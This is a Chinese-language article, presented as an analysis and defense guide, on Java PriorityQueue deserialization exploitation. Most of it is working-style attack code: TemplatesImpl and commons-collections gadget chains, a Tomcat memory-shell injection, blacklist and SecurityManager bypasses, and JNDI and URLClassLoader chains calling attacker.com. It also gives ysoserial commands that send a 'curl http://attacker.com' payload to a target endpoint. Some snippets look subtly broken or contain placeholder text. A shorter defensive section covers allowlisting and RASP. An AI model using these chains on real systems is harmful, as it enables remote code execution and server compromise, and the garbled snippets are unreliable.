Java PriorityQueue的深度利用技巧
字数 932 2025-08-29 08:29:59

Java PriorityQueue反序列化漏洞深度分析与防御指南

一、PriorityQueue反序列化漏洞核心原理

PriorityQueue在反序列化时会触发heapify()方法重建堆结构,通过siftDown()方法调用Comparator.compare()或元素的compareTo()方法。这是构造反序列化攻击链的关键切入点。

1. 基础攻击链构造(结合TemplatesImpl)

// 生成恶意字节码
public static class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}
byte[] evilCode = ClassPool.getDefault().makeClass(EvilClass.class).toBytecode();

// 构造TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_tfactory", null);

// 构造比较器链
Comparator comparator = new Comparator() {
    public int compare(Object o1, Object o2) {
        try {
            templates.newTransformer(); // 触发静态代码块
        } catch (Exception e) {}
        return 0;
    }
};

// 构造恶意PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);

// 序列化payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(queue);
byte[] payload = bos.toByteArray();

// 反序列化触发
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();

二、绕过技巧

1. 结合BeanComparator(commons-beanutils)

// 构造属性比较链
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);

// 设置触发对象
queue.add(templates);
queue.add(templates);

// 序列化后触发流程:
// 1. PriorityQueue反序列化触发排序
// 2. BeanComparator调用getOutputProperties()
// 3. 触发TemplatesImpl.newTransformer()

2. JDK高版本绕过(jdk >= 8u71)

// 使用ToStringComparator(commons-collections4)
Comparator comparator = new TransformedComparator(
    new InvokerTransformer("toString", null, null),
    new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates); // 对象需实现Comparable
queue.add(templates);

// 触发流程:
// compare() → toString() → getOutputProperties()

三、内存马注入技巧

1. Tomcat Filter型内存马

// 构造恶意Filter注入链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.apache.catalina.core.ApplicationFilterConfig"}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getFilter", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("setFilter", new Class[]{Filter.class}, new Object[]{new EvilFilter()})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(chain));

四、防御对抗技术

1. 黑名单检测绕过

// 使用非标准Transformer组合
Comparator comparator = new ComparatorChain(Arrays.asList(
    new ConstantTransformer(Class.forName("java.lang.Runtime")),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
));

2. 反射绕过SecurityManager

// 通过Unsafe修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 强制修改Comparator字段
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
long offset = unsafe.objectFieldOffset(comparatorField);
unsafe.putObject(queue, offset, maliciousComparator);

五、检测与防御方案

1. 安全反序列化实现

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = Set.of("java.util.PriorityQueue", "java.lang.Integer");
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// 使用方式
try (ObjectInputStream ois = new SafeObjectInputStream(inputStream)) {
    ois.readObject();
}

2. 运行时检测(RASP)

// 使用Java Agent检测PriorityQueue反序列化
public class PriorityQueueAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
            if ("java/util/PriorityQueue".equals(className)) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                cr.accept(new ClassVisitor(ASM9, cw) {
                    @Override
                    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
                        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                        if ("readObject".equals(name)) {
                            return new MethodVisitor(ASM9, mv) {
                                @Override
                                public void visitCode() {
                                    mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkDeserialization", "()V");
                                    super.visitCode();
                                }
                            };
                        }
                        return mv;
                    }
                }, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

六、漏洞验证与利用

1. 使用ysoserial生成payload

# 生成CommonsCollections2的PriorityQueue payload
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com" > payload.bin

# 发送到目标服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize-endpoint

2. 手工构造检测

// 检测PriorityQueue使用情况
Pattern.compile("new PriorityQueue\\s*\\(\\s*\\d+\\s*,\\s*.*Comparator")
    .matcher(sourceCode)
    .find();

七、高级利用技巧

1. 基于InstantiateTransformer的类实例化攻击(CC4链变种)

// 构造TemplatesImpl对象(存储恶意字节码)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});

// 使用InstantiateTransformer触发构造函数
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class), // 目标类
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates} // 参数传入恶意模板
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造PriorityQueue触发链
PriorityQueue<Object> queue = new PriorityQueue<>(
    2, new TransformingComparator(chain));
queue.add(1);
queue.add(2);

2. ExtractorComparator + FilterExtractor绕过黑名单(WebLogic场景)

// 构造JNDI注入链
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://attacker.com/Exploit");

// 使用FilterExtractor替代LockVersionExtractor
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setGetMethodName("getDatabaseMetaData");
FilterExtractor extractor = new FilterExtractor(accessor, "UnicodeSec");

// 构建PriorityQueue触发比较器
PriorityQueue<Object> queue = new PriorityQueue<>(
    2, new ExtractorComparator(extractor));
queue.add(jdbcRowSet);
queue.add(jdbcRowSet);

3. 二次反序列化技术(SignedObject封装)

// 构造基础PriorityQueue链
PriorityQueue<Object> baseQueue = 标准恶意队列;

// 封装到SignedObject中
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(baseQueue, kp.getPrivate(), Signature.getInstance("DSA"));

// 通过二次反序列化触发
HashMap<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(signedObject, "value");

// 序列化后发送,触发流程:
// 1. HashMap反序列化
// 2. 调用SignedObject.getObject()
// 3. 触发内部PriorityQueue的反序列化

4. BeanComparator + TemplatesImpl非反射链

// 构造TemplatesImpl对象
TemplatesImpl templates = 包含恶意字节码;

// 使用BeanComparator触发getOutputProperties()
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates);
queue.add(templates);

// 序列化后触发流程:
// 1. PriorityQueue反序列化触发排序
// 2. BeanComparator调用getOutputProperties()
// 3. 触发TemplatesImpl.newTransformer()

5. ExternalizableLite接口绕过(Coherence协议)

// 构造恶意AttributeHolder对象
AttributeHolder holder = new AttributeHolder();
holder.setValue(evilPriorityQueue); // 封装PriorityQueue链

// 通过Coherence协议传输
ExternalizableHelper.writeObject(outputStream, holder);

// 触发流程:
// 1. 反序列化AttributeHolder时调用readExternal()
// 2. 通过ExternalizableHelper.readObject()二次反序列化PriorityQueue

6. 动态类加载 + URLClassLoader组合攻击

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", new Class[]{URL[].class}, new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};
PriorityQueue<Object> queue = new PriorityQueue<>(
    2, new TransformingComparator(new ChainedTransformer(transformers)));

八、防御建议

深度防御策略:

  • 使用SerialKiller等安全反序列化库
  • 启用SecurityManager并配置严格策略
  • 定期更新Coherence、Jackson等组件的安全补丁

运行时监控:

// RASP检测示例
public class DeserializationMonitor {
    public static void check(Object obj) {
        if (obj instanceof PriorityQueue) {
            Comparator<?> comp = ((PriorityQueue<?>)obj).comparator();
            if (comp instanceof TransformingComparator) {
                throw new SecurityException("Blocked dangerous comparator!");
            }
        }
    }
}

Maven依赖安全配置

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version> <!-- 安全版本 -->
</dependency>

JVM启动参数加固

-Dorg.apache.commons.collections.enableUnsafeSerialization=false
-Dcom.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager=com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager

九、关键审计点

  1. ObjectInputStream.readObject()
  2. XMLDecoder.readObject()
  3. JSON.parseObject() with @type特性
  4. PriorityQueue构造器中使用自定义Comparator
Java PriorityQueue反序列化漏洞深度分析与防御指南 一、PriorityQueue反序列化漏洞核心原理 PriorityQueue在反序列化时会触发 heapify() 方法重建堆结构,通过 siftDown() 方法调用 Comparator.compare() 或元素的 compareTo() 方法。这是构造反序列化攻击链的关键切入点。 1. 基础攻击链构造(结合TemplatesImpl) 二、绕过技巧 1. 结合BeanComparator(commons-beanutils) 2. JDK高版本绕过(jdk >= 8u71) 三、内存马注入技巧 1. Tomcat Filter型内存马 四、防御对抗技术 1. 黑名单检测绕过 2. 反射绕过SecurityManager 五、检测与防御方案 1. 安全反序列化实现 2. 运行时检测(RASP) 六、漏洞验证与利用 1. 使用ysoserial生成payload 2. 手工构造检测 七、高级利用技巧 1. 基于InstantiateTransformer的类实例化攻击(CC4链变种) 2. ExtractorComparator + FilterExtractor绕过黑名单(WebLogic场景) 3. 二次反序列化技术(SignedObject封装) 4. BeanComparator + TemplatesImpl非反射链 5. ExternalizableLite接口绕过(Coherence协议) 6. 动态类加载 + URLClassLoader组合攻击 八、防御建议 深度防御策略: 使用SerialKiller等安全反序列化库 启用SecurityManager并配置严格策略 定期更新Coherence、Jackson等组件的安全补丁 运行时监控: Maven依赖安全配置 JVM启动参数加固 九、关键审计点 ObjectInputStream.readObject() XMLDecoder.readObject() JSON.parseObject() with @type 特性 PriorityQueue构造器中使用自定义Comparator